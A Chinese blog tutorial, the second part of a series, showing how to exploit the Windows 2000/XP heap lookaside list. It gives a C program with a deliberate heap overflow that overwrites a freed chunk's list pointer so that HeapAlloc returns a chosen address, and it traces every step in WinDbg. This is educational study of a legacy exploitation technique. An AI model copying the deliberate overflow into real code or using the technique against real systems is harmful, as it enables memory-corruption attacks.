xp下调试堆溢出(下)--利用快表

20 篇文章 1 订阅
11 篇文章 0 订阅

    前一篇<xp下调试堆溢出 (上)--HeapAlloc分配堆块>简单阐释了快表分配的原理,并在文章的结尾提到xp sp1以前的OS并不对分配出去的快表地址进行检查。本文简单演示利用这个漏洞。建议程序在win2k上以命令行运行

#include <stdio.h>
#include <windows.h>

int main(int argc,char* argv[])
{
	HLOCAL h1,h2,h3,h4;
	char* pi=NULL;
	HANDLE hp;
	char* str="1234";

	hp = HeapCreate(0,0,0);

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	HeapFree(hp,0,h4);
	HeapFree(hp,0,h3); //1)
	getchar();
	_asm int 3;
	HeapFree(hp,0,h2); //2)

	char* ptr = &(((char*)h1)[<span style="font-family: Arial, Helvetica, sans-serif;">strlen(argv[1])</span><span style="font-family: Arial, Helvetica, sans-serif;">]); //3)</span>
	strncpy((char*)h1,argv[1],strlen(argv[1]));
	memcpy(ptr,&str,4);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //4)
	h4 = HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8); //5)
	/
	printf("h4:%s\n",(char*)h4);
	getchar();
	return 0;
} 
程序运行到1)处时一切正常,快表数组[1]中的堆块链表中有2项堆块:

0:000> dd 3a0688 
...;003a1eb0:-->快表[1]指向的链表头
003a06e8  003a1eb0 00020002 01000004 00000004
003a06f8  00000004 00000002 00000000 00000000
0:000> dd 003a1eb0 L2 ;链表中第一个元素 这是h3释放的
003a1eb0  003a1ec0 00000000 ;链表的下一个元素地址是0x3a1ec0
0:000> dd 003a1ec0  L2 ;链表中第二个元素 这是h4释放的 
003a1ec0  00000000 00000000 ;链表下一个元素地址为空,链表结束
当运行到2)处,快表数组[1]中的链表就有3个元素。h1还没有释放,因此是合法可用内存,并且与被释放了的h2在内存空间上相差0x10B:

0:000> dd 3a0688 ;以下省略0x3a0688-0x3a06e7之间跟程序无关的内存
003a06e8  003a1ea0 00030003 01000004 00000004
003a06f8  00000004 00000003 00000000 00000000

0:000> dd 003a1e90 ;003a1e90是h1指向的内存空间,h1有8字节可用空间;其后的 003a1e98是h2释放前的HEAP_ENTRY结构
003a1e90  00000000 00000000 00020002 000801c5
003a1ea0  003a1eb0 00000000 00020002 000801c3 ;003a1ea0是h2释放前的用户可用空间
0:000> dt _HEAP_ENTRY 003a1e90-8 ;003a1e90-8是h1的HEAP_ENTRY结构
ntdll!_HEAP_ENTRY
   +0x000 Size             : 2 ;Size表明当前堆块的大小为2*8B=0x10B
   +0x002 PreviousSize     : 0x301
   +0x000 SubSegmentCode   : 0x03010002 Void
   +0x004 SmallTagIndex    : 0xc7 ''
   +0x005 Flags            : 0x1 ''
   +0x006 UnusedBytes      : 0x8 ''
   +0x007 SegmentIndex     : 0 ''
0:000> dt _HEAP_ENTRY 003a1ea0-8 ;003a1e90-8是h2的HEAP_ENTRY结构
ntdll!_HEAP_ENTRY
   +0x000 Size             : 2
   +0x002 PreviousSize     : 2
   +0x000 SubSegmentCode   : 0x00020002 Void
   +0x004 SmallTagIndex    : 0xc5 ''
   +0x005 Flags            : 0x1 ''
   +0x006 UnusedBytes      : 0x8 ''
   +0x007 SegmentIndex     : 0 ''
如果这时不加节制的操作h1,让他发生溢出,那么他将覆盖h2的_HEAP_ENTRY甚至会覆盖到h2的用户空间部分(内存地址0x3a1ea0)(虽然已经被释放);这个用户空间部分目前记录着单链表的下一个元素的地址,它的作用是当程序后续调用调用HeapAlloc,把记录的地址返回给调用者

0:000> dd 003a1ea0 L2
003a1ea0  003a1eb0 00000000 ;<span style="font-family: Arial, Helvetica, sans-serif;">0x3a1eb0--</span><span style="font-family: Arial, Helvetica, sans-serif;">这是1)处调用FreeHeap(h3)时释放的堆块</span>

机会来了就得利用起来,既然没有检测机制能检测到发生覆盖,那就大肆溢出:先覆盖h2的HEAP_ENTRY部分,最终覆盖h2用户可用部分,以此篡改单链表记录的下一个元素的地址。为了达到这个目的,首先要合法的使用完h1自身合法的大小为0x8B的用户空间,然后再非法使用h2的大小为0x8B的HEAP_ENTRY空间,最终往h2的用户空间部分写入4字节地址。在我的演示程序中这个地址为变量str的地址,指向一串字符串。

3)处,接受命令行输入拷贝到h1处,同时在h1的末尾处追加str的地址。这样只要输入的命令行参数长度超过4就会发生溢出,如果输入长度正好等于8,则恰好用str的地址覆盖
快表数组[1]指向的链表,如我的输入及对快表造成的影响:


0:000> dd 3a0688 ;查看快表
003a06e8  003a1ea0 00030003 01000004 00000004 ;单链表的下一个元素正常还是h2
003a06f8  00000004 00000003 00000000 00000000
0:000> dd 003a1ea0 l2 ;但由于h2的用户空间被覆盖,导致原来保存的内容被篡改,链表的下一个元素不再是0x3a1eb0
003a1ea0  00406038 00000000
0:000> dc 00406038 
00406038  34333231 00000000 00406e01 00000001  1234.....n@.....
因此只要经过2次HeapAlloc操作(第一次从快表中获得0x3a1ea0,第二次从快表中获得错误地址),就会使HeapAlloc返回错误的地址,对于这个程序,就是第六次调用HeapAlloc时触发:

0:000> p ;第5次申请内存
004010af ffd3            call    ebx {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> p
0:000> r eax
eax=003a1ea0 

0:000> p ;第6次申请内存
004010b6 ffd3            call    ebx {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> p
004010b8 50              push    eax
0:000> r eax ;eax承载返回给调用者的返回值
eax=00406038
这里需要注意一点:第六次调用HeapAlloc时的参数

h4 = HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8);
意味仅分配空间,但不要清零,否则虽然返回给h4的地址是指向str字符串的地址,但这段内容被系统清空了,因此printf不会有输出(我调试了很久才发现)

在往下执行就能输出h4的值了,如果是在win2k下,能看到输出了1234~


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值